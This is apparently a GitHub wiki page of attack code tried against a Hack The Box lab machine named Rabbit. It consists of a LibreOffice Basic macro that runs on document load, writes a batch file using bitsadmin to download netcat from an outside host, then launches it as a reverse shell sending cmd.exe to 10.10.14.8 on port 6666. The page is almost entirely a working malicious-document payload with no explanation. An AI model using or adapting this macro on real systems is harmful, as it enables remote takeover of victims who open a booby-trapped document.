code tried - adydawkins/htb-rabbit GitHub Wiki

REM ***** BASIC *****

Sub OnLoad
  Dim os as string
  os = GetOS
  If os = "windows" OR os = "osx" OR os = "linux" Then
    Exploit
  end If
End Sub



Sub Exploit
   Dim oSvc as object
   oSvc = createUnoService("com.sun.star.system.SystemShellExecute")

   Rem Launch notepad
   
   Dim oSFA As Object, oOutStream as Object, oOutText as Object
   Dim sFilePath as String 
   oSFA = createUNOService ("com.sun.star.ucb.SimpleFileAccess") 
   sFilePath = "C:\users\raziel\documents\run.bat"
   If oSFA.exists(sFilePath) Then
	  oSFA.kill(sFilePath) 'if file exists, delete it
   End If

   oOutStream = oSFA.openFileWrite(sFilePath) 
   oOutText = createUNOService ("com.sun.star.io.TextOutputStream") 
   oOutText.setOutputStream(oOutStream) 

   oOutText.WriteString("bitsadmin /transfer myDownloadJob /download /priority normal http://10.10.14.8/nc62.txt c:\users\raziel\documents\nc62.txt" & chr(10) & "timeout 21" & chr(10) & "c:\users\raziel\documents\nc62.txt 10.10.14.8 6666 -e cmd.exe") 
   
   oOutText.closeOutput()
   Shell("cmd.exe /C ping -n 27 10.10.14.8")
   
   oSvc.execute(ConvertToUrl("C:\users\raziel\documents\run.bat"), "", 0)
   Shell("cmd.exe /C ping -n 27 10.10.14.8")
   
    
End Sub

Function GetOS() as string
  select case getGUIType
    case 1:
      GetOS = "windows"
    case 3:
      GetOS = "osx"
    case 4:
      GetOS = "linux"
  end select
End Function

Function GetExtName() as string
  select case GetOS
    case "windows"
      GetFileName = "exe"
    case else
      GetFileName = "bin"
  end select
End Function